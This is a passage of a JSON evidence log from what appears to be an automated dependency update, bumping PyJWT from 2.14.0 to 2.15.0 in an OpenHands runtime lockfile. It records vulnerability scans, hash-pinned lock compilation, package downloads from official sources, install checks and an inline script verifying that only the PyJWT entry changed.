"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-sdk-source-repro-extract.txt", + "returned_output_sha256": "67632310e39072065210809179b3c7b1318bd44be2e11360c4dc629e8971c47d" + }, + { + "id": "baseline-osv-current-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/ci-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/baseline.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:27.811434+00:00", + "ended_utc": "2026-09-30T17:01:28.550964+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "ca539b5ebe39cf3c7cfd116f9770d6101c3d6719c0c89e1228f9d7bf0fb7674d", + "stderr_sha256_private_raw": "4bb1bdc7ddeb7c828c5a8293aeea3747d0ed125cefd17d89ea39ad3fd1af48b0", + "stdout_sha256_sanitized": "fa640deeb033c5478b03f14ce6e439333656279405e5db055ab8281a430ad200", + "stderr_sha256_sanitized": "b6c1158fc33834716538c91a544b703c6c6b9795d7d75fc3363175b36690dd0e", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-current-config.txt", + "returned_output_sha256": "ce799e56e98ac45f51b1c2536282dc921dfcec14fbcc04af6035e3f26615a640" + }, + { + "id": "baseline-osv-empty-config", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "scan", + "source", + "--config", + "/empty-config.toml", + "--no-resolve", + "--lockfile=requirements.txt:/baseline.lock", + "--format", + "json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:01:28.554864+00:00", + "ended_utc": "2026-09-30T17:01:29.250963+00:00", + "exit_code": 1, + "stdout_sha256_private_raw": "78a62c817bcbcf9cfd89ca5972d2746b118a45112076ab369527a603c0b7911e", + "stderr_sha256_private_raw": "766bdb16c79725c9943765621fad4b30f797a697db681305ce3be9148a437d69", + "stdout_sha256_sanitized": "a3471eeaef017e913a4035e402a111943673a181fa2c245e9ea11bad57b6076b", + "stderr_sha256_sanitized": "ebcfa4efd7d5ae22c3d955c678ac2a7e3ebe66c6212ab94b2e731c02842963fa", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-baseline-osv-empty-config.txt", + "returned_output_sha256": "77f9b9a07f51f9000c737006c19ade784dbb35c697e8853f3e6be66116424ffa" + }, + { + "id": "native-bd1-control-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/control-constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/control.lock" + ], + "cwd": "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T17:02:27.198359+00:00", + "ended_utc": "2026-09-30T17:02:27.421959+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_private_raw": "06580545663d34615a285d6198b7844d5590484f4e1296b759b3112743d5bac4", + "stdout_sha256_sanitized": "bd1cbbe864b20cdd33b4c580846ef75451db3aca82a4e5305207890bb6b0d072", + "stderr_sha256_sanitized": "06580545663d34615a285d6198b7844d5590484f4e1296b759b3112743d5bac4", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-bd1-control-compile.txt", + "returned_output_sha256": "28e67cda0191d8ec008e44cc14585ebd13f578d40d67a1829446081e3e7d41dd" + }, + { + "id": "native-pyjwt-candidate-compile", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/candidate.lock" + ], + "cwd": "/source/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T17:02:27.447375+00:00", + "ended_utc": "2026-09-30T17:02:27.510957+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "stderr_sha256_private_raw": "2e6808a77e9ac779bc7510180a70e834a5554dfcba6969e6c94c2b4bc646bd52", + "stdout_sha256_sanitized": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "stderr_sha256_sanitized": "2e6808a77e9ac779bc7510180a70e834a5554dfcba6969e6c94c2b4bc646bd52", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pyjwt-candidate-compile.txt", + "returned_output_sha256": "fbca2580f1026ae7403e289361f558d98a6b3ae6bd74e508708fbeaf82dfe9ee" + }, + { + "id": "native-pristine-reproduction", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "compile", + "/requirements.in", + "--constraints", + "/constraints.txt", + "--generate-hashes", + "--no-header", + "--no-annotate", + "--index-url", + "https://pypi.org/simple", + "--python-version", + "3.13.15", + "--python-platform", + "x86_64-unknown-linux-gnu", + "--exclude-newer", + "7 days", + "--exclude-newer-package", + "litellm=2026-07-20T00:00:00Z", + "--exclude-newer-package", + "lmnr=2026-08-23T00:00:00Z", + "--output-file", + "/reproduced.lock" + ], + "cwd": "/source-repro/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5", + "started_utc": "2026-09-30T17:02:27.536571+00:00", + "ended_utc": "2026-09-30T17:02:27.599262+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "stderr_sha256_private_raw": "501504b147d593f732c51f7a5657e94aa50b04c2887533aebdaf4a3575a00b7a", + "stdout_sha256_sanitized": "83293867247323c4d8fc463096e8a9c01dbee2ada5898112bbbb7d1a62a8b47a", + "stderr_sha256_sanitized": "501504b147d593f732c51f7a5657e94aa50b04c2887533aebdaf4a3575a00b7a", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pristine-reproduction.txt", + "returned_output_sha256": "ed94035165ae012bf277c5dc11ff04274242c070e875c8213a63cdde77165865" + }, + { + "id": "osv-scanner-copy", + "argv": [ + "rtk", + "proxy", + "cp", + "/osv-scanner", + "/osv-scanner" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.284986+00:00", + "ended_utc": "2026-09-30T17:04:35.506211+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-scanner-copy.txt", + "returned_output_sha256": "e3eb88d9a28aa78000124b11ab613eb64ebd9f8a03fe7ce59ee5dc89bcab6b32" + }, + { + "id": "pyjwt-file-pyjwt-2.15.0-py3-none-any.whl", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://files.pythonhosted.org/packages/e8/55/40e45bf052ee8ee12a4dfd785519660f8effa7b065442b91646ec6828619/pyjwt-2.15.0-py3-none-any.whl", + "--output", + "/pyjwt-2.15.0-py3-none-any.whl" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.575932+00:00", + "ended_utc": "2026-09-30T17:04:35.666442+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0-py3-none-any.whl.txt", + "returned_output_sha256": "8a5ea31cca7a21c9c96bf1068aa39a005c32d61acfea532b5455cf249c054e93" + }, + { + "id": "pyjwt-file-pyjwt-2.15.0.tar.gz", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://files.pythonhosted.org/packages/02/a5/5197bfd06417837ac079921c66fa6393f1dea3557272a263cebfef69e432/pyjwt-2.15.0.tar.gz", + "--output", + "/pyjwt-2.15.0.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.667657+00:00", + "ended_utc": "2026-09-30T17:04:35.753798+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-file-pyjwt-2.15.0.tar.gz.txt", + "returned_output_sha256": "540b3b8ed46e115f9927070df9c4492a0e8b3824853c29645c0697b50b1c99a8" + }, + { + "id": "exact-lock-delta", + "argv": [ + "rtk", + "proxy", + "python3", + "-c", + "import re,sys,json,hashlib\nfrom pathlib import Path\np=Path(sys.argv[1]);before=(p/'baseline.lock').read_text();after=(p/'candidate.lock').read_text()\npattern=r'(?m)^pyjwt==[^\\n]*(?:\\n[ \\t]+[^\\n]*)*'\noldblock=re.search(pattern,before).group(0);newblock=re.search(pattern,after).group(0)\nassert after==before.replace(oldblock,newblock,1),'bytes changed outside PyJWT block'\ndef declarations(s):\n out={}\n for name,kind,value in re.findall(r'(?m)^([a-zA-Z0-9_.-]+)(==| @ )([^\\n]+)',s):\n out[re.sub(r'[-_.]+','-',name).lower()]=value.rstrip(' \\\\')\n return out\nold=declarations(before);new=declarations(after)\nadded=sorted(set(new)-set(old));removed=sorted(set(old)-set(new))\nchanged=[{'name':n,'before':old[n],'after':new[n]} for n in sorted(old.keys()&new.keys()) if old[n]!=new[n]]\nassert len(old)==len(new)==176 and not added and not removed\nassert changed==[{'name':'pyjwt','before':'2.14.0','after':'2.15.0'}]\nfiles=json.loads((p/'pyjwt-artifacts.json').read_text())\nassert sorted(re.findall(r'--hash=sha256:([a-f0-9]+)',newblock))==sorted(x['sha256'] for x in files)\nresult={'before_sha256':hashlib.sha256(before.encode()).hexdigest(),'after_sha256':hashlib.sha256(after.encode()).hexdigest(),'requirements_before':len(old),'requirements_after':len(new),'unchanged_declarations_from_bd1':175,'changes':changed,'added':added,'removed':removed,'only_pyjwt_block_changed':True,'hashes_match_official_pypi':True,'retained_versions':{n:new[n] for n in ['urllib3','oauthlib','anyio','click','pypdf','soupsieve']},'pyjwt_block':newblock}\nprint(json.dumps(result,indent=2))\n", + "" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.755023+00:00", + "ended_utc": "2026-09-30T17:04:35.806482+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "ec02602c7159345da3b0bb113e3b06cb13f66b9accb4bba733d60b2a82d3c631", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "ec02602c7159345da3b0bb113e3b06cb13f66b9accb4bba733d60b2a82d3c631", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-exact-lock-delta.txt", + "returned_output_sha256": "7c8aefeb5429ebf15c4e54efafe083c59bde3f9b6a244b4f9328b5544e500573" + }, + { + "id": "fresh-venv", + "argv": [ + "rtk", + "proxy", + "uv", + "venv", + "--python", + "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", + "--no-python-downloads", + "/venv" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.810343+00:00", + "ended_utc": "2026-09-30T17:04:35.840826+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "654ba12cd3f07fab83eb4d3361cbd686c18daf0118f86107d90687e076851034", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "d2e3ddc5bdcd75429cb2739ee268afa3a10c09495378a8dbe0883a024ce97293", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-fresh-venv.txt", + "returned_output_sha256": "e29d9fd8ddf54224ea0c7c8347b3951f528f2616f4e7b399b74bb537433ac275" + }, + { + "id": "build-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--only-binary", + ":all:", + "--index-url", + "https://pypi.org/simple", + "-r", + "/blueprints/runtime-workers/openhands/build-requirements.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:35.841872+00:00", + "ended_utc": "2026-09-30T17:04:36.044919+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "879967f96a9156d52176d6fa06d45ee8ab9afbe3574b290b9d435f34a3e73bf3", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "a8d299e6e04bc3233d4287a6a4b792d714f9216ab61fbc2d2707b0ba5e9c4dc6", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-build-hash-install.txt", + "returned_output_sha256": "1a6a32e0927dc554a81fd1920756f2a67fe378f44fba225b69f187a81fb8ecca" + }, + { + "id": "runtime-hash-install", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "install", + "--python", + "/venv/bin/python", + "--require-hashes", + "--no-deps", + "--no-build-isolation", + "--index-url", + "https://pypi.org/simple", + "-r", + "/candidate.lock" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:36.046072+00:00", + "ended_utc": "2026-09-30T17:04:36.813053+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "11f7bd35f53ade0be013e51278529cd32d4c8ae507f41647e66f9462061d7c2b", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "0bd5ffdb6fd47db191bd25eee340f80bff32e7c1e7a461ed1a2c66b3e874a7fe", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-runtime-hash-install.txt", + "returned_output_sha256": "5910f0b0cb4876ca4358ea444e6be0fd3c8e76dc8da7f0fbfb7f8acd10e15194" + }, + { + "id": "native-pip-check", + "argv": [ + "rtk", + "proxy", + "uv", + "pip", + "check", + "--python", + "/venv/bin/python" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:36.814448+00:00", + "ended_utc": "2026-09-30T17:04:36.855012+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "a56f4e0fe1f47f2ecde999dd3492a1b374c23c4c9615ac6f897f3932df040a4d", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "506f4387d4eb4498dc85fc67cc375cca6488e3565607330796b7d904e1aa7b7c", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-pip-check.txt", + "returned_output_sha256": "066424201c71fcc7cd0f003da5a8758a4a1693936531aab0fd6f728793e5a3b9" + }, + { + "id": "native-imports", + "argv": [ + "rtk", + "proxy", + "/venv/bin/python", + "-c", + "import sys,platform,importlib.metadata as m,jwt,urllib3; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; assert jwt.__version__==\"2.15.0\" and urllib3.__version__==\"2.8.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 PyJWT 2.15.0 urllib3 2.8.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"anyio\",\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\",\"urllib3\")}); print(\"jwt.__file__=\"+jwt.__file__)" + ], + "cwd": "", + "started_utc": "2026-09-30T17:04:36.856123+00:00", + "ended_utc": "2026-09-30T17:04:45.779996+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "062459cacf687923364fc9667ae2df173f9a5174b5ff94680572b5e63b28c012", + "stderr_sha256_private_raw": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "stdout_sha256_sanitized": "34816e7b4d8e5aff3bad3e5b47c15ff6aff5c58cfc410515d224f93ded0388dd", + "stderr_sha256_sanitized": "f6f4156bf3e5e2da69a8f8f4c5d672a2433ce1376f8d467f018987a066078ed8", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-imports.txt", + "returned_output_sha256": "65ae38c5d5b78a9d49db1a9722d07680fe32934efd7cf8d47d4ea72f4e4f3ef8" + }, + { + "id": "pyjwt-source-download", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "--location", + "https://codeload.github.com/jpadilla/pyjwt/tar.gz/1d41a6478e1562e68ff667fcd703356acf085f68", + "--output", + "/pyjwt-source.tar.gz" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:02.701004+00:00", + "ended_utc": "2026-09-30T17:07:02.914421+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-download.txt", + "returned_output_sha256": "1ab4c361d45b723a1709a58777e9f32c9de80429936c983c827094eb65738385" + }, + { + "id": "pyjwt-tag-object", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/jpadilla/pyjwt/git/tags/bd03a98b72aa7105b7920b9d0e7818369ac76abe" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:02.915832+00:00", + "ended_utc": "2026-09-30T17:07:03.231956+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "a34ead1e8a8ff42e2c69d9f21221c3c66208f023282f602359cbcf4b57b4cc50", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "a34ead1e8a8ff42e2c69d9f21221c3c66208f023282f602359cbcf4b57b4cc50", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-tag-object.txt", + "returned_output_sha256": "bfeb9cf9d69bfb4090e650c6d32994b4f8fe33dc2aea7a21a0997a71d1edbe42" + }, + { + "id": "pyjwt-release", + "argv": [ + "rtk", + "proxy", + "gh", + "api", + "repos/jpadilla/pyjwt/releases/tags/2.15.0", + "--jq", + "{tag_name,published_at,html_url,body}" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.233125+00:00", + "ended_utc": "2026-09-30T17:07:03.575398+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "b5e83e56ad108e11b47da5e315aaa592095449e96487f2e032e52f7ed8ff2d9c", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "b5e83e56ad108e11b47da5e315aaa592095449e96487f2e032e52f7ed8ff2d9c", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-release.txt", + "returned_output_sha256": "d4953c46b722691311d15842c8c9ac3f16e1ce4f0d3f3f0f240d71dac6ed2749" + }, + { + "id": "osv-version", + "argv": [ + "rtk", + "proxy", + "/osv-scanner", + "--version" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.576430+00:00", + "ended_utc": "2026-09-30T17:07:03.658846+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e0bc7fa9d9b902f5179238abc870bc238c6f119e8c4c0b58b63fd26289fc5ea7", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-osv-version.txt", + "returned_output_sha256": "d99dc4aaa9ee2e777c40037e37ee43d8c9e70402b86da61753a46c36d6b7437f" + }, + { + "id": "tox-pypi-tool-source", + "argv": [ + "rtk", + "proxy", + "curl", + "--fail", + "--silent", + "--show-error", + "https://pypi.org/pypi/tox/json" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.660032+00:00", + "ended_utc": "2026-09-30T17:07:03.767505+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "fd504a78872fa6500baf5adc521cafcc8b9b7cf2ecf443429eeb0ed834ae01a7", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "fd504a78872fa6500baf5adc521cafcc8b9b7cf2ecf443429eeb0ed834ae01a7", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-tox-pypi-tool-source.txt", + "returned_output_sha256": "71cbf8472151c7bd841b891003e29829749d350c919907ac1773d4c9cdf28726" + }, + { + "id": "pyjwt-source-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/pyjwt-source.tar.gz", + "-C", + "/pyjwt-source" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.806240+00:00", + "ended_utc": "2026-09-30T17:07:03.846982+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-source-extract.txt", + "returned_output_sha256": "acbaefe984ad11d1594074b01c826673b78b1b92c3fd4538d16332fdad71adda" + }, + { + "id": "pyjwt-sdist-extract", + "argv": [ + "rtk", + "proxy", + "tar", + "-xzf", + "/pyjwt-2.15.0.tar.gz", + "-C", + "/pyjwt-sdist" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.848196+00:00", + "ended_utc": "2026-09-30T17:07:03.895824+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-sdist-extract.txt", + "returned_output_sha256": "cc5f1fd77eac2cbe1bf60cab5b417c813413ba53261eff93d242388454f4c3af" + }, + { + "id": "pyjwt-native-test-config", + "argv": [ + "rtk", + "proxy", + "sed", + "-n", + "1,58p", + "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68/tox.ini" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.896932+00:00", + "ended_utc": "2026-09-30T17:07:03.921011+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "6f1230e9facc435a3911c5b5787fa9f55acc0c598619a2843156bb9229893e38", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "6f1230e9facc435a3911c5b5787fa9f55acc0c598619a2843156bb9229893e38", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-pyjwt-native-test-config.txt", + "returned_output_sha256": "5522835655990357c7d10c209441f95b82271bbcbfd86d8eb56c4360837b9ebc" + }, + { + "id": "native-tox-driver-venv", + "argv": [ + "rtk", + "proxy", + "uv", + "venv", + "--seed", + "--python", + "/.local/share/uv/python/cpython-3.13.15-linux-x86_64-gnu/bin/python3.13", + "--no-python-downloads", + "/tox-driver" + ], + "cwd": "", + "started_utc": "2026-09-30T17:07:03.922158+00:00", + "ended_utc": "2026-09-30T17:07:04.095732+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_private_raw": "f7485ae1e92cf4565532b58eff8b2cc7e5f19e4ab5393ab9416cf4c966359a01", + "stdout_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stderr_sha256_sanitized": "c12f47541f73618d0c21fc860a7ff70de57c2ffac73a188ab092ec56e97462a9", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-native-tox-driver-venv.txt", + "returned_output_sha256": "9145a80b90bfd6a0e9f540022f3e8967985cf8be8624b168412f8c32d517d7d0" + }, + { + "id": "upstream-ci-tox-prerequisites", + "argv": [ + "rtk", + "proxy", + "/tox-driver/bin/python", + "-m", + "pip", + "install", + "--upgrade", + "coverage[toml]", + "virtualenv", + "tox", + "tox-gh-actions", + "--index-url", + "https://pypi.org/simple" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:07:04.096825+00:00", + "ended_utc": "2026-09-30T17:07:07.529047+00:00", + "exit_code": 0, + "stdout_sha256_private_raw": "90902315ce736a797997782e8f64dd3b59c5e672a8e49d67b562e4a7f1db3da6", + "stderr_sha256_private_raw": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "stdout_sha256_sanitized": "90902315ce736a797997782e8f64dd3b59c5e672a8e49d67b562e4a7f1db3da6", + "stderr_sha256_sanitized": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855", + "returned_output": "blueprints/runtime-workers/openhands/evidence/pyjwt-relock-20260930-upstream-ci-tox-prerequisites.txt", + "returned_output_sha256": "e2298547f6fdc7c5495eb67aa06eb5495780345b2374ab2dc477dc34e68629de" + }, + { + "id": "native-tox-version", + "argv": [ + "rtk", + "proxy", + "/tox-driver/bin/python", + "-m", + "tox", + "--version" + ], + "cwd": "/pyjwt-source/pyjwt-1d41a6478e1562e68ff667fcd703356acf085f68", + "started_utc": "2026-09-30T17:07:07.530393+00:00", + "ended_utc": "2026-09-30T17:07:07.753900+00:00", + "exit_code": 0, + 